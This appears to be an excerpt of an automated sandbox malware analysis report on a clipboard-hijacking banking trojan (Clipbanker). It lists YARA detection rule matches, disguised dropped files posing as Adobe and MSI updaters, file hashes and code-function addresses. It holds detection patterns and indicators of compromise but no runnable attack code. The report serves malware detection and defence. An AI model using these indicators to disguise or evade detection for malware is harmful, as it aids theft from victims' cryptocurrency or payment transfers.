Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000007.00000002.1817763757.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000015.00000002.1977139395.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000008.00000002.1811428432.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000012.00000002.1889439352.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000016.00000002.2058620639.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000F.00000002.4085599610.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF7B6B0	0_2_6CF7B6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCAC29	0_2_6CFCAC29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF72D70	0_2_6CF72D70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA4EE0	0_2_6CFA4EE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF94970	0_2_6CF94970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF94AC0	0_2_6CF94AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC0B89	0_2_6CFC0B89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF58B30	0_2_6CF58B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF94550	0_2_6CF94550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCA54D	0_2_6CFCA54D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF56650	0_2_6CF56650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5A7E0	0_2_6CF5A7E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5C7B0	0_2_6CF5C7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF6A0C0	0_2_6CF6A0C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA63B0	0_2_6CFA63B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB2310	0_2_6CFB2310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB1CA0	0_2_6CFB1CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF93C90	0_2_6CF93C90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA5DD0	0_2_6CFA5DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC5DD2	0_2_6CFC5DD2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA5EB9	0_2_6CFA5EB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF93E50	0_2_6CF93E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC9FFC	0_2_6CFC9FFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCBFF1	0_2_6CFCBFF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA58D7	0_2_6CFA58D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA58D5	0_2_6CFA58D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA5830	0_2_6CFA5830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCB964	0_2_6CFCB964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC9AAB	0_2_6CFC9AAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF93460	0_2_6CF93460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA5050	0_2_6CFA5050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA5274	0_2_6CFA5274
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF93260	0_2_6CF93260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_033962C6	0_2_033962C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_033931F0	0_2_033931F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03390A50	0_2_03390A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03390E08	0_2_03390E08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03397030	0_2_03397030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062B0EB3	0_2_062B0EB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062B26F8	0_2_062B26F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062B26DD	0_2_062B26DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062B0930	0_2_062B0930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0044002D	2_2_0044002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C00A0	2_2_004C00A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004AA200	2_2_004AA200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0040A2C0	2_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0050A2B0	2_2_0050A2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004BE3C0	2_2_004BE3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004963B0	2_2_004963B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004DE430	2_2_004DE430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004B84D0	2_2_004B84D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004FA480	2_2_004FA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00514550	2_2_00514550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004845E0	2_2_004845E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00490600	2_2_00490600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004E06D0	2_2_004E06D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004986B0	2_2_004986B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004FA930	2_2_004FA930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004E4BD0	2_2_004E4BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00458BB0	2_2_00458BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004FAD00	2_2_004FAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0049AF60	2_2_0049AF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004DF030	2_2_004DF030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0049F0D0	2_2_0049F0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0049D3A0	2_2_0049D3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0053F550	2_2_0053F550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004B3600	2_2_004B3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D7600	2_2_004D7600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004B1630	2_2_004B1630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00495790	2_2_00495790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0040B8E0	2_2_0040B8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0048BAC8	2_2_0048BAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004ADB20	2_2_004ADB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00481C10	2_2_00481C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00409C90	2_2_00409C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F7D00	2_2_004F7D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00545DE0	2_2_00545DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00493F40	2_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C1F20	2_2_004C1F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_005220D0	2_2_005220D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F60E0	2_2_004F60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004EE170	2_2_004EE170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0048611D	2_2_0048611D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004A6250	2_2_004A6250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0044036F	2_2_0044036F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004A4320	2_2_004A4320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F0450	2_2_004F0450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F85F0	2_2_004F85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004547BF	2_2_004547BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F2820	2_2_004F2820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004A88B0	2_2_004A88B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0043C960	2_2_0043C960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00546970	2_2_00546970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0043A928	2_2_0043A928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F8B40	2_2_004F8B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004EEC40	2_2_004EEC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00534D40	2_2_00534D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00546D20	2_2_00546D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0053AE20	2_2_0053AE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00458E30	2_2_00458E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00506EA0	2_2_00506EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00516EA0	2_2_00516EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004ECF20	2_2_004ECF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F2FD0	2_2_004F2FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00493080	2_2_00493080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004371A0	2_2_004371A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_005031A0	2_2_005031A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004A9380	2_2_004A9380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D1450	2_2_004D1450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0042F580	2_2_0042F580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004A3610	2_2_004A3610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004CF6F0	2_2_004CF6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00547760	2_2_00547760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F7730	2_2_004F7730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004E77E0	2_2_004E77E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_005397B0	2_2_005397B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004F7960	2_2_004F7960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0047B970	2_2_0047B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004EF9A0	2_2_004EF9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004CBAC0	2_2_004CBAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0044DA86	2_2_0044DA86

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00547510 appears 85 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00434380 appears 55 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0041ACE0 appears 125 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00402CF0 appears 69 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CFB90D8 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CFBD520 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CFB9B35 appears 141 times

Source: file.exe, 00000000.00000002.1661516175.0000000005F01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs file.exe
Source: file.exe, 00000000.00000002.1650364480.00000000035C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedotnet.exe6 vs file.exe
Source: file.exe, 00000000.00000002.1650364480.00000000035C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs file.exe
Source: file.exe, 00000000.00000002.1649194054.000000000135E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000002.1650745382.0000000005238000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsApp1.dll8 vs file.exe
Source: file.exe, 00000000.00000002.1646478004.00000000003D7000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameportablefromhelp_hub5.exeL vs file.exe
Source: file.exe, 00000000.00000002.1650745382.00000000045C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedotnet.exe6 vs file.exe
Source: file.exe, 00000000.00000000.1635326794.00000000003DE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameportablefromhelp_hub5.exeL vs file.exe
Source: file.exe, 00000000.00000002.1659625676.0000000005A10000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs file.exe
Source: file.exe, 00000000.00000002.1650745382.00000000050AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsApp1.dll8 vs file.exe
Source: file.exe, 00000000.00000002.1659746305.0000000005BB8000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsApp1.dll8 vs file.exe
Source: file.exe, 00000000.00000002.1649194054.000000000139B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameportablefromhelp_hub5.exeL vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 22.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 22.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 21.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 21.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000009.00000002.1816666835.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
